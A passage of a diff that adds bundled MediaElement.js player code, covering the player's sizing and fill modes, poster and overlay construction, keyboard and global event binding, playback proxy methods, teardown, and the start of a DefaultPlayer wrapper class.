+					for (var i = 0, total = e.urls.length; i < total; i++) {
+						var url = e.urls[i];
+						errorContent += '<a href="' + url.src + '" data-type="' + url.type + '"><span>' + _mejs2.default.i18n.t('mejs.download-file') + ': ' + url.src + '</span></a>';
+					}
+				}
+			}
+
+			if (errorContent && t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error')) {
+				errorContainer.innerHTML = errorContent;
+				t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error').innerHTML = '' + imgError + errorContainer.outerHTML;
+				t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error').parentNode.style.display = 'block';
+			}
+
+			if (t.controlsEnabled) {
+				t.disableControls();
+			}
+		}
+	}, {
+		key: 'setPlayerSize',
+		value: function setPlayerSize(width, height) {
+			var t = this;
+
+			if (!t.options.setDimensions) {
+				return false;
+			}
+
+			if (typeof width !== 'undefined') {
+				t.width = width;
+			}
+
+			if (typeof height !== 'undefined') {
+				t.height = height;
+			}
+
+			switch (t.options.stretching) {
+				case 'fill':
+					if (t.isVideo) {
+						t.setFillMode();
+					} else {
+						t.setDimensions(t.width, t.height);
+					}
+					break;
+				case 'responsive':
+					t.setResponsiveMode();
+					break;
+				case 'none':
+					t.setDimensions(t.width, t.height);
+					break;
+
+				default:
+					if (t.hasFluidMode() === true) {
+						t.setResponsiveMode();
+					} else {
+						t.setDimensions(t.width, t.height);
+					}
+					break;
+			}
+		}
+	}, {
+		key: 'hasFluidMode',
+		value: function hasFluidMode() {
+			var t = this;
+
+			return t.height.toString().indexOf('%') !== -1 || t.node && t.node.style.maxWidth && t.node.style.maxWidth !== 'none' && t.node.style.maxWidth !== t.width || t.node && t.node.currentStyle && t.node.currentStyle.maxWidth === '100%';
+		}
+	}, {
+		key: 'setResponsiveMode',
+		value: function setResponsiveMode() {
+			var t = this,
+			    parent = function () {
+
+				var parentEl = void 0,
+				    el = t.getElement(t.container);
+
+				while (el) {
+					try {
+						if (_constants.IS_FIREFOX && el.tagName.toLowerCase() === 'html' && _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null) {
+							return _window2.default.frameElement;
+						} else {
+							parentEl = el.parentElement;
+						}
+					} catch (e) {
+						parentEl = el.parentElement;
+					}
+
+					if (parentEl && dom.visible(parentEl)) {
+						return parentEl;
+					}
+					el = parentEl;
+				}
+
+				return null;
+			}(),
+			    parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null),
+			    nativeWidth = function () {
+				if (t.isVideo) {
+					if (t.media.videoWidth && t.media.videoWidth > 0) {
+						return t.media.videoWidth;
+					} else if (t.node.getAttribute('width')) {
+						return t.node.getAttribute('width');
+					} else {
+						return t.options.defaultVideoWidth;
+					}
+				} else {
+					return t.options.defaultAudioWidth;
+				}
+			}(),
+			    nativeHeight = function () {
+				if (t.isVideo) {
+					if (t.media.videoHeight && t.media.videoHeight > 0) {
+						return t.media.videoHeight;
+					} else if (t.node.getAttribute('height')) {
+						return t.node.getAttribute('height');
+					} else {
+						return t.options.defaultVideoHeight;
+					}
+				} else {
+					return t.options.defaultAudioHeight;
+				}
+			}(),
+			    aspectRatio = function () {
+				var ratio = 1;
+				if (!t.isVideo) {
+					return ratio;
+				}
+
+				if (t.media.videoWidth && t.media.videoWidth > 0 && t.media.videoHeight && t.media.videoHeight > 0) {
+					ratio = t.height >= t.width ? t.media.videoWidth / t.media.videoHeight : t.media.videoHeight / t.media.videoWidth;
+				} else {
+					ratio = t.initialAspectRatio;
+				}
+
+				if (isNaN(ratio) || ratio < 0.01 || ratio > 100) {
+					ratio = 1;
+				}
+
+				return ratio;
+			}(),
+			    parentHeight = parseFloat(parentStyles.height);
+
+			var newHeight = void 0,
+			    parentWidth = parseFloat(parentStyles.width);
+
+			if (t.isVideo) {
+				if (t.height === '100%') {
+					newHeight = parseFloat(parentWidth * nativeHeight / nativeWidth, 10);
+				} else {
+					newHeight = t.height >= t.width ? parseFloat(parentWidth / aspectRatio, 10) : parseFloat(parentWidth * aspectRatio, 10);
+				}
+			} else {
+				newHeight = nativeHeight;
+			}
+
+			if (isNaN(newHeight)) {
+				newHeight = parentHeight;
+			}
+
+			if (t.getElement(t.container).parentNode.length > 0 && t.getElement(t.container).parentNode.tagName.toLowerCase() === 'body') {
+				parentWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth;
+				newHeight = _window2.default.innerHeight || _document2.default.documentElement.clientHeight || _document2.default.body.clientHeight;
+			}
+
+			if (newHeight && parentWidth) {
+				t.getElement(t.container).style.width = parentWidth + 'px';
+				t.getElement(t.container).style.height = newHeight + 'px';
+
+				t.node.style.width = '100%';
+				t.node.style.height = '100%';
+
+				if (t.isVideo && t.media.setSize) {
+					t.media.setSize(parentWidth, newHeight);
+				}
+
+				var layerChildren = t.getElement(t.layers).children;
+				for (var i = 0, total = layerChildren.length; i < total; i++) {
+					layerChildren[i].style.width = '100%';
+					layerChildren[i].style.height = '100%';
+				}
+			}
+		}
+	}, {
+		key: 'setFillMode',
+		value: function setFillMode() {
+			var t = this;
+			var isIframe = _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null;
+			var parent = function () {
+				var parentEl = void 0,
+				    el = t.getElement(t.container);
+
+				while (el) {
+					try {
+						if (_constants.IS_FIREFOX && el.tagName.toLowerCase() === 'html' && _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null) {
+							return _window2.default.frameElement;
+						} else {
+							parentEl = el.parentElement;
+						}
+					} catch (e) {
+						parentEl = el.parentElement;
+					}
+
+					if (parentEl && dom.visible(parentEl)) {
+						return parentEl;
+					}
+					el = parentEl;
+				}
+
+				return null;
+			}();
+			var parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null);
+
+			if (t.node.style.height !== 'none' && t.node.style.height !== t.height) {
+				t.node.style.height = 'auto';
+			}
+			if (t.node.style.maxWidth !== 'none' && t.node.style.maxWidth !== t.width) {
+				t.node.style.maxWidth = 'none';
+			}
+
+			if (t.node.style.maxHeight !== 'none' && t.node.style.maxHeight !== t.height) {
+				t.node.style.maxHeight = 'none';
+			}
+
+			if (t.node.currentStyle) {
+				if (t.node.currentStyle.height === '100%') {
+					t.node.currentStyle.height = 'auto';
+				}
+				if (t.node.currentStyle.maxWidth === '100%') {
+					t.node.currentStyle.maxWidth = 'none';
+				}
+				if (t.node.currentStyle.maxHeight === '100%') {
+					t.node.currentStyle.maxHeight = 'none';
+				}
+			}
+
+			if (!isIframe && !parseFloat(parentStyles.width)) {
+				parent.style.width = t.media.offsetWidth + 'px';
+			}
+
+			if (!isIframe && !parseFloat(parentStyles.height)) {
+				parent.style.height = t.media.offsetHeight + 'px';
+			}
+
+			parentStyles = getComputedStyle(parent);
+
+			var parentWidth = parseFloat(parentStyles.width),
+			    parentHeight = parseFloat(parentStyles.height);
+
+			t.setDimensions('100%', '100%');
+
+			var poster = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster>img');
+			if (poster) {
+				poster.style.display = '';
+			}
+
+			var targetElement = t.getElement(t.container).querySelectorAll('object, embed, iframe, video'),
+			    initHeight = t.height,
+			    initWidth = t.width,
+			    scaleX1 = parentWidth,
+			    scaleY1 = initHeight * parentWidth / initWidth,
+			    scaleX2 = initWidth * parentHeight / initHeight,
+			    scaleY2 = parentHeight,
+			    bScaleOnWidth = scaleX2 > parentWidth === false,
+			    finalWidth = bScaleOnWidth ? Math.floor(scaleX1) : Math.floor(scaleX2),
+			    finalHeight = bScaleOnWidth ? Math.floor(scaleY1) : Math.floor(scaleY2),
+			    width = bScaleOnWidth ? parentWidth + 'px' : finalWidth + 'px',
+			    height = bScaleOnWidth ? finalHeight + 'px' : parentHeight + 'px';
+
+			for (var i = 0, total = targetElement.length; i < total; i++) {
+				targetElement[i].style.height = height;
+				targetElement[i].style.width = width;
+				if (t.media.setSize) {
+					t.media.setSize(width, height);
+				}
+
+				targetElement[i].style.marginLeft = Math.floor((parentWidth - finalWidth) / 2) + 'px';
+				targetElement[i].style.marginTop = 0;
+			}
+		}
+	}, {
+		key: 'setDimensions',
+		value: function setDimensions(width, height) {
+			var t = this;
+
+			width = (0, _general.isString)(width) && width.indexOf('%') > -1 ? width : parseFloat(width) + 'px';
+			height = (0, _general.isString)(height) && height.indexOf('%') > -1 ? height : parseFloat(height) + 'px';
+
+			t.getElement(t.container).style.width = width;
+			t.getElement(t.container).style.height = height;
+
+			var layers = t.getElement(t.layers).children;
+			for (var i = 0, total = layers.length; i < total; i++) {
+				layers[i].style.width = width;
+				layers[i].style.height = height;
+			}
+		}
+	}, {
+		key: 'setControlsSize',
+		value: function setControlsSize() {
+			var t = this;
+
+			if (!dom.visible(t.getElement(t.container))) {
+				return;
+			}
+
+			if (t.rail && dom.visible(t.rail)) {
+				var totalStyles = t.total ? getComputedStyle(t.total, null) : null,
+				    totalMargin = totalStyles ? parseFloat(totalStyles.marginLeft) + parseFloat(totalStyles.marginRight) : 0,
+				    railStyles = getComputedStyle(t.rail),
+				    railMargin = parseFloat(railStyles.marginLeft) + parseFloat(railStyles.marginRight);
+
+				var siblingsWidth = 0;
+
+				var siblings = dom.siblings(t.rail, function (el) {
+					return el !== t.rail;
+				}),
+				    total = siblings.length;
+				for (var i = 0; i < total; i++) {
+					siblingsWidth += siblings[i].offsetWidth;
+				}
+
+				siblingsWidth += totalMargin + (totalMargin === 0 ? railMargin * 2 : railMargin) + 1;
+
+				t.getElement(t.container).style.minWidth = siblingsWidth + 'px';
+
+				var event = (0, _general.createEvent)('controlsresize', t.getElement(t.container));
+				t.getElement(t.container).dispatchEvent(event);
+			} else {
+				var children = t.getElement(t.controls).children;
+				var minWidth = 0;
+
+				for (var _i = 0, _total = children.length; _i < _total; _i++) {
+					minWidth += children[_i].offsetWidth;
+				}
+
+				t.getElement(t.container).style.minWidth = minWidth + 'px';
+			}
+		}
+	}, {
+		key: 'addControlElement',
+		value: function addControlElement(element, key) {
+
+			var t = this;
+
+			if (t.featurePosition[key] !== undefined) {
+				var child = t.getElement(t.controls).children[t.featurePosition[key] - 1];
+				child.parentNode.insertBefore(element, child.nextSibling);
+			} else {
+				t.getElement(t.controls).appendChild(element);
+				var children = t.getElement(t.controls).children;
+				for (var i = 0, total = children.length; i < total; i++) {
+					if (element === children[i]) {
+						t.featurePosition[key] = i;
+						break;
+					}
+				}
+			}
+		}
+	}, {
+		key: 'createIframeLayer',
+		value: function createIframeLayer() {
+			var t = this;
+
+			if (t.isVideo && t.media.rendererName !== null && t.media.rendererName.indexOf('iframe') > -1 && !_document2.default.getElementById(t.media.id + '-iframe-overlay')) {
+
+				var layer = _document2.default.createElement('div'),
+				    target = _document2.default.getElementById(t.media.id + '_' + t.media.rendererName);
+
+				layer.id = t.media.id + '-iframe-overlay';
+				layer.className = t.options.classPrefix + 'iframe-overlay';
+				layer.addEventListener('click', function (e) {
+					if (t.options.clickToPlayPause) {
+						if (t.paused) {
+							t.play();
+						} else {
+							t.pause();
+						}
+
+						e.preventDefault();
+						e.stopPropagation();
+					}
+				});
+
+				target.parentNode.insertBefore(layer, target);
+			}
+		}
+	}, {
+		key: 'resetSize',
+		value: function resetSize() {
+			var t = this;
+
+			setTimeout(function () {
+				t.setPlayerSize(t.width, t.height);
+				t.setControlsSize();
+			}, 50);
+		}
+	}, {
+		key: 'setPoster',
+		value: function setPoster(url) {
+			var t = this;
+
+			if (t.getElement(t.container)) {
+				var posterDiv = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster');
+
+				if (!posterDiv) {
+					posterDiv = _document2.default.createElement('div');
+					posterDiv.className = t.options.classPrefix + 'poster ' + t.options.classPrefix + 'layer';
+					t.getElement(t.layers).appendChild(posterDiv);
+				}
+
+				var posterImg = posterDiv.querySelector('img');
+
+				if (!posterImg && url) {
+					posterImg = _document2.default.createElement('img');
+					posterImg.className = t.options.classPrefix + 'poster-img';
+					posterImg.width = '100%';
+					posterImg.height = '100%';
+					posterDiv.style.display = '';
+					posterDiv.appendChild(posterImg);
+				}
+
+				if (url) {
+					posterImg.setAttribute('src', url);
+					posterDiv.style.backgroundImage = 'url("' + url + '")';
+					posterDiv.style.display = '';
+				} else if (posterImg) {
+					posterDiv.style.backgroundImage = 'none';
+					posterDiv.style.display = 'none';
+					posterImg.remove();
+				} else {
+					posterDiv.style.display = 'none';
+				}
+			} else if (_constants.IS_IPAD && t.options.iPadUseNativeControls || _constants.IS_IPHONE && t.options.iPhoneUseNativeControls || _constants.IS_ANDROID && t.options.AndroidUseNativeControls) {
+				t.media.originalNode.poster = url;
+			}
+		}
+	}, {
+		key: 'changeSkin',
+		value: function changeSkin(className) {
+			var t = this;
+
+			t.getElement(t.container).className = t.options.classPrefix + 'container ' + className;
+			t.setPlayerSize(t.width, t.height);
+			t.setControlsSize();
+		}
+	}, {
+		key: 'globalBind',
+		value: function globalBind(events, callback) {
+			var t = this,
+			    doc = t.node ? t.node.ownerDocument : _document2.default;
+
+			events = (0, _general.splitEvents)(events, t.id);
+			if (events.d) {
+				var eventList = events.d.split(' ');
+				for (var i = 0, total = eventList.length; i < total; i++) {
+					eventList[i].split('.').reduce(function (part, e) {
+						doc.addEventListener(e, callback, false);
+						return e;
+					}, '');
+				}
+			}
+			if (events.w) {
+				var _eventList = events.w.split(' ');
+				for (var _i2 = 0, _total2 = _eventList.length; _i2 < _total2; _i2++) {
+					_eventList[_i2].split('.').reduce(function (part, e) {
+						_window2.default.addEventListener(e, callback, false);
+						return e;
+					}, '');
+				}
+			}
+		}
+	}, {
+		key: 'globalUnbind',
+		value: function globalUnbind(events, callback) {
+			var t = this,
+			    doc = t.node ? t.node.ownerDocument : _document2.default;
+
+			events = (0, _general.splitEvents)(events, t.id);
+			if (events.d) {
+				var eventList = events.d.split(' ');
+				for (var i = 0, total = eventList.length; i < total; i++) {
+					eventList[i].split('.').reduce(function (part, e) {
+						doc.removeEventListener(e, callback, false);
+						return e;
+					}, '');
+				}
+			}
+			if (events.w) {
+				var _eventList2 = events.w.split(' ');
+				for (var _i3 = 0, _total3 = _eventList2.length; _i3 < _total3; _i3++) {
+					_eventList2[_i3].split('.').reduce(function (part, e) {
+						_window2.default.removeEventListener(e, callback, false);
+						return e;
+					}, '');
+				}
+			}
+		}
+	}, {
+		key: 'buildfeatures',
+		value: function buildfeatures(player, controls, layers, media) {
+			var t = this;
+
+			for (var i = 0, total = t.options.features.length; i < total; i++) {
+				var feature = t.options.features[i];
+				if (t['build' + feature]) {
+					try {
+						t['build' + feature](player, controls, layers, media);
+					} catch (e) {
+						console.error('error building ' + feature, e);
+					}
+				}
+			}
+		}
+	}, {
+		key: 'buildposter',
+		value: function buildposter(player, controls, layers, media) {
+			var t = this,
+			    poster = _document2.default.createElement('div');
+
+			poster.className = t.options.classPrefix + 'poster ' + t.options.classPrefix + 'layer';
+			layers.appendChild(poster);
+
+			var posterUrl = media.originalNode.getAttribute('poster');
+
+			if (player.options.poster !== '') {
+				if (posterUrl && _constants.IS_IOS) {
+					media.originalNode.removeAttribute('poster');
+				}
+				posterUrl = player.options.poster;
+			}
+
+			if (posterUrl) {
+				t.setPoster(posterUrl);
+			} else if (t.media.renderer !== null && typeof t.media.renderer.getPosterUrl === 'function') {
+				t.setPoster(t.media.renderer.getPosterUrl());
+			} else {
+				poster.style.display = 'none';
+			}
+
+			media.addEventListener('play', function () {
+				poster.style.display = 'none';
+			});
+
+			media.addEventListener('playing', function () {
+				poster.style.display = 'none';
+			});
+
+			if (player.options.showPosterWhenEnded && player.options.autoRewind) {
+				media.addEventListener('ended', function () {
+					poster.style.display = '';
+				});
+			}
+
+			media.addEventListener('error', function () {
+				poster.style.display = 'none';
+			});
+
+			if (player.options.showPosterWhenPaused) {
+				media.addEventListener('pause', function () {
+					if (!player.ended) {
+						poster.style.display = '';
+					}
+				});
+			}
+		}
+	}, {
+		key: 'buildoverlays',
+		value: function buildoverlays(player, controls, layers, media) {
+
+			if (!player.isVideo) {
+				return;
+			}
+
+			var t = this,
+			    loading = _document2.default.createElement('div'),
+			    error = _document2.default.createElement('div'),
+			    bigPlay = _document2.default.createElement('div');
+
+			loading.style.display = 'none';
+			loading.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer';
+			loading.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-loading">' + ('<span class="' + t.options.classPrefix + 'overlay-loading-bg-img"></span>') + '</div>';
+			layers.appendChild(loading);
+
+			error.style.display = 'none';
+			error.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer';
+			error.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-error"></div>';
+			layers.appendChild(error);
+
+			bigPlay.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer ' + t.options.classPrefix + 'overlay-play';
+			bigPlay.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-button" role="button" tabindex="0" ' + ('aria-label="' + _i18n2.default.t('mejs.play') + '" aria-pressed="false"></div>');
+			bigPlay.addEventListener('click', function () {
+				if (t.options.clickToPlayPause) {
+
+					var button = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-button'),
+					    pressed = button.getAttribute('aria-pressed');
+
+					if (t.paused) {
+						t.play();
+					} else {
+						t.pause();
+					}
+
+					button.setAttribute('aria-pressed', !!pressed);
+					t.getElement(t.container).focus();
+				}
+			});
+
+			bigPlay.addEventListener('keydown', function (e) {
+				var keyPressed = e.keyCode || e.which || 0;
+
+				if (keyPressed === 13 || _constants.IS_FIREFOX && keyPressed === 32) {
+					var event = (0, _general.createEvent)('click', bigPlay);
+					bigPlay.dispatchEvent(event);
+					return false;
+				}
+			});
+
+			layers.appendChild(bigPlay);
+
+			if (t.media.rendererName !== null && (/(youtube|facebook)/i.test(t.media.rendererName) && !(t.media.originalNode.getAttribute('poster') || player.options.poster || typeof t.media.renderer.getPosterUrl === 'function' && t.media.renderer.getPosterUrl()) || _constants.IS_STOCK_ANDROID || t.media.originalNode.getAttribute('autoplay'))) {
+				bigPlay.style.display = 'none';
+			}
+
+			var hasError = false;
+
+			media.addEventListener('play', function () {
+				bigPlay.style.display = 'none';
+				loading.style.display = 'none';
+				error.style.display = 'none';
+				hasError = false;
+			});
+			media.addEventListener('playing', function () {
+				bigPlay.style.display = 'none';
+				loading.style.display = 'none';
+				error.style.display = 'none';
+				hasError = false;
+			});
+			media.addEventListener('seeking', function () {
+				bigPlay.style.display = 'none';
+				loading.style.display = '';
+				hasError = false;
+			});
+			media.addEventListener('seeked', function () {
+				bigPlay.style.display = t.paused && !_constants.IS_STOCK_ANDROID ? '' : 'none';
+				loading.style.display = 'none';
+				hasError = false;
+			});
+			media.addEventListener('pause', function () {
+				loading.style.display = 'none';
+				if (!_constants.IS_STOCK_ANDROID && !hasError) {
+					bigPlay.style.display = '';
+				}
+				hasError = false;
+			});
+			media.addEventListener('waiting', function () {
+				loading.style.display = '';
+				hasError = false;
+			});
+
+			media.addEventListener('loadeddata', function () {
+				loading.style.display = '';
+
+				if (_constants.IS_ANDROID) {
+					media.canplayTimeout = setTimeout(function () {
+						if (_document2.default.createEvent) {
+							var evt = _document2.default.createEvent('HTMLEvents');
+							evt.initEvent('canplay', true, true);
+							return media.dispatchEvent(evt);
+						}
+					}, 300);
+				}
+				hasError = false;
+			});
+			media.addEventListener('canplay', function () {
+				loading.style.display = 'none';
+
+				clearTimeout(media.canplayTimeout);
+				hasError = false;
+			});
+
+			media.addEventListener('error', function (e) {
+				t._handleError(e, t.media, t.node);
+				loading.style.display = 'none';
+				bigPlay.style.display = 'none';
+				hasError = true;
+			});
+
+			media.addEventListener('loadedmetadata', function () {
+				if (!t.controlsEnabled) {
+					t.enableControls();
+				}
+			});
+
+			media.addEventListener('keydown', function (e) {
+				t.onkeydown(player, media, e);
+				hasError = false;
+			});
+		}
+	}, {
+		key: 'buildkeyboard',
+		value: function buildkeyboard(player, controls, layers, media) {
+
+			var t = this;
+
+			t.getElement(t.container).addEventListener('keydown', function () {
+				t.keyboardAction = true;
+			});
+
+			t.globalKeydownCallback = function (event) {
+				var container = _document2.default.activeElement.closest('.' + t.options.classPrefix + 'container'),
+				    target = t.media.closest('.' + t.options.classPrefix + 'container');
+				t.hasFocus = !!(container && target && container.id === target.id);
+				return t.onkeydown(player, media, event);
+			};
+
+			t.globalClickCallback = function (event) {
+				t.hasFocus = !!event.target.closest('.' + t.options.classPrefix + 'container');
+			};
+
+			t.globalBind('keydown', t.globalKeydownCallback);
+
+			t.globalBind('click', t.globalClickCallback);
+		}
+	}, {
+		key: 'onkeydown',
+		value: function onkeydown(player, media, e) {
+
+			if (player.hasFocus && player.options.enableKeyboard) {
+				for (var i = 0, total = player.options.keyActions.length; i < total; i++) {
+					var keyAction = player.options.keyActions[i];
+
+					for (var j = 0, jl = keyAction.keys.length; j < jl; j++) {
+						if (e.keyCode === keyAction.keys[j]) {
+							keyAction.action(player, media, e.keyCode, e);
+							e.preventDefault();
+							e.stopPropagation();
+							return;
+						}
+					}
+				}
+			}
+
+			return true;
+		}
+	}, {
+		key: 'play',
+		value: function play() {
+			this.proxy.play();
+		}
+	}, {
+		key: 'pause',
+		value: function pause() {
+			this.proxy.pause();
+		}
+	}, {
+		key: 'load',
+		value: function load() {
+			this.proxy.load();
+		}
+	}, {
+		key: 'setCurrentTime',
+		value: function setCurrentTime(time) {
+			this.proxy.setCurrentTime(time);
+		}
+	}, {
+		key: 'getCurrentTime',
+		value: function getCurrentTime() {
+			return this.proxy.currentTime;
+		}
+	}, {
+		key: 'getDuration',
+		value: function getDuration() {
+			return this.proxy.duration;
+		}
+	}, {
+		key: 'setVolume',
+		value: function setVolume(volume) {
+			this.proxy.volume = volume;
+		}
+	}, {
+		key: 'getVolume',
+		value: function getVolume() {
+			return this.proxy.getVolume();
+		}
+	}, {
+		key: 'setMuted',
+		value: function setMuted(value) {
+			this.proxy.setMuted(value);
+		}
+	}, {
+		key: 'setSrc',
+		value: function setSrc(src) {
+			if (!this.controlsEnabled) {
+				this.enableControls();
+			}
+			this.proxy.setSrc(src);
+		}
+	}, {
+		key: 'getSrc',
+		value: function getSrc() {
+			return this.proxy.getSrc();
+		}
+	}, {
+		key: 'canPlayType',
+		value: function canPlayType(type) {
+			return this.proxy.canPlayType(type);
+		}
+	}, {
+		key: 'remove',
+		value: function remove() {
+			var t = this,
+			    rendererName = t.media.rendererName,
+			    src = t.media.originalNode.src;
+
+			for (var featureIndex in t.options.features) {
+				var feature = t.options.features[featureIndex];
+				if (t['clean' + feature]) {
+					try {
+						t['clean' + feature](t, t.getElement(t.layers), t.getElement(t.controls), t.media);
+					} catch (e) {
+						console.error('error cleaning ' + feature, e);
+					}
+				}
+			}
+
+			var nativeWidth = t.node.getAttribute('width'),
+			    nativeHeight = t.node.getAttribute('height');
+
+			if (nativeWidth) {
+				if (nativeWidth.indexOf('%') === -1) {
+					nativeWidth = nativeWidth + 'px';
+				}
+			} else {
+				nativeWidth = 'auto';
+			}
+
+			if (nativeHeight) {
+				if (nativeHeight.indexOf('%') === -1) {
+					nativeHeight = nativeHeight + 'px';
+				}
+			} else {
+				nativeHeight = 'auto';
+			}
+
+			t.node.style.width = nativeWidth;
+			t.node.style.height = nativeHeight;
+
+			t.setPlayerSize(0, 0);
+
+			if (!t.isDynamic) {
+				(function () {
+					t.node.setAttribute('controls', true);
+					t.node.setAttribute('id', t.node.getAttribute('id').replace('_' + rendererName, '').replace('_from_mejs', ''));
+					var poster = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster>img');
+					if (poster) {
+						t.node.setAttribute('poster', poster.src);
+					}
+
+					delete t.node.autoplay;
+
+					if (t.media.canPlayType((0, _media.getTypeFromFile)(src)) !== '') {
+						t.node.setAttribute('src', src);
+					}
+
+					if (~rendererName.indexOf('iframe')) {
+						var layer = _document2.default.getElementById(t.media.id + '-iframe-overlay');
+						layer.remove();
+					}
+
+					var node = t.node.cloneNode();
+					node.style.display = '';
+					t.getElement(t.container).parentNode.insertBefore(node, t.getElement(t.container));
+					t.node.remove();
+
+					if (t.mediaFiles) {
+						for (var i = 0, total = t.mediaFiles.length; i < total; i++) {
+							var source = _document2.default.createElement('source');
+							source.setAttribute('src', t.mediaFiles[i].src);
+							source.setAttribute('type', t.mediaFiles[i].type);
+							node.appendChild(source);
+						}
+					}
+					if (t.trackFiles) {
+						var _loop3 = function _loop3(_i4, _total4) {
+							var track = t.trackFiles[_i4];
+							var newTrack = _document2.default.createElement('track');
+							newTrack.kind = track.kind;
+							newTrack.label = track.label;
+							newTrack.srclang = track.srclang;
+							newTrack.src = track.src;
+
+							node.appendChild(newTrack);
+							newTrack.addEventListener('load', function () {
+								this.mode = 'showing';
+								node.textTracks[_i4].mode = 'showing';
+							});
+						};
+
+						for (var _i4 = 0, _total4 = t.trackFiles.length; _i4 < _total4; _i4++) {
+							_loop3(_i4, _total4);
+						}
+					}
+
+					delete t.node;
+					delete t.mediaFiles;
+					delete t.trackFiles;
+				})();
+			} else {
+				t.getElement(t.container).parentNode.insertBefore(t.node, t.getElement(t.container));
+			}
+
+			if (typeof t.media.renderer.destroy === 'function') {
+				t.media.renderer.destroy();
+			}
+
+			delete _mejs2.default.players[t.id];
+
+			if (_typeof(t.getElement(t.container)) === 'object') {
+				var offscreen = t.getElement(t.container).parentNode.querySelector('.' + t.options.classPrefix + 'offscreen');
+				offscreen.remove();
+				t.getElement(t.container).remove();
+			}
+			t.globalUnbind('resize', t.globalResizeCallback);
+			t.globalUnbind('keydown', t.globalKeydownCallback);
+			t.globalUnbind('click', t.globalClickCallback);
+
+			delete t.media.player;
+		}
+	}, {
+		key: 'paused',
+		get: function get() {
+			return this.proxy.paused;
+		}
+	}, {
+		key: 'muted',
+		get: function get() {
+			return this.proxy.muted;
+		},
+		set: function set(muted) {
+			this.setMuted(muted);
+		}
+	}, {
+		key: 'ended',
+		get: function get() {
+			return this.proxy.ended;
+		}
+	}, {
+		key: 'readyState',
+		get: function get() {
+			return this.proxy.readyState;
+		}
+	}, {
+		key: 'currentTime',
+		set: function set(time) {
+			this.setCurrentTime(time);
+		},
+		get: function get() {
+			return this.getCurrentTime();
+		}
+	}, {
+		key: 'duration',
+		get: function get() {
+			return this.getDuration();
+		}
+	}, {
+		key: 'volume',
+		set: function set(volume) {
+			this.setVolume(volume);
+		},
+		get: function get() {
+			return this.getVolume();
+		}
+	}, {
+		key: 'src',
+		set: function set(src) {
+			this.setSrc(src);
+		},
+		get: function get() {
+			return this.getSrc();
+		}
+	}]);
+
+	return MediaElementPlayer;
+}();
+
+_window2.default.MediaElementPlayer = MediaElementPlayer;
+_mejs2.default.MediaElementPlayer = MediaElementPlayer;
+
+exports.default = MediaElementPlayer;
+
+},{"17":17,"2":2,"25":25,"26":26,"27":27,"28":28,"3":3,"30":30,"5":5,"6":6,"7":7}],17:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+
+var DefaultPlayer = function () {
+	function DefaultPlayer(player) {
+		_classCallCheck(this, DefaultPlayer);
+
+		this.media = player.media;
+		this.isVideo = player.isVideo;
+		this.classPrefix = player.options.classPrefix;
+		this.createIframeLayer = function () {
+			return player.createIframeLayer();
+		};
+		this.setPoster = function (url) {
+			return player.setPoster(url);
+		};
+		return this;
+	}
+
+	_createClass(DefaultPlayer, [{
+		key: 'play',
+		value: function play() {
+			this.media.play();
+		}
+	}, {
+		key: 'pause',
+		value: function pause() {
+			this.media.pause();
+		}
+	}, {
+		key: 'load',
+		value: function load() {
+			var t = this;
+
+			if (!t.isLoaded) {
+				t.media.load();
+			}
+
+			t.isLoaded = true;
+		}
+	}, {
+		key: 'setCurrentTime',
+		value: function setCurrentTime(time) {
+			this.media.setCurrentTime(time);
+		}
+	}, {
+		key: 'getCurrentTime',
+		value: function getCurrentTime() {
+			return this.media.currentTime;
+		}
+	}, {
+		key: 'getDuration',
+		value: function getDuration() {
+			return this.media.getDuration();
+		}
+	}, {
+		key: 'setVolume',
+		value: function setVolume(volume) {
+			this.media.setVolume(volume);
+		}
+	}, {
+		key: 'getVolume',
+		value: function getVolume() {
+			return this.media.getVolume();
+		}
+	}, {
+		key: 'setMuted',
+		value: function setMuted(value) {
+			this.media.setMuted(value);
+		}
+	}, {
+		key: 'setSrc',
+		value: function setSrc(src) {
+			var t = this,
+			    layer = document.getElementById(t.media.id + '-iframe-overlay');
+
+			if (layer) {
+				layer.remove();
+			}
+
+			t.media.setSrc(src);
+			t.createIframeLayer();
+			if (t.media.renderer !== null && typeof t.media.renderer.getPosterUrl === 'function') {
+				t.setPoster(t.media.renderer.getPosterUrl());
+			}
+		}
+	}, {
+		key: 'getSrc',
+		value: function getSrc() {
+			return this.media.getSrc();
+		}
+	}, {
+		key: 'canPlayType',
+		value: function canPlayType(type) {
+			return this.media.canPlayType(type);
+		}
+	}, {
+		key: 'paused',
+		get: function get() {
+			return this.media.paused;
+		}
+	}, {
+		key: 'muted',
+		set: function set(muted) {
+			this.setMuted(muted);
+		},
+		get: function get() {
+			return this.media.muted;
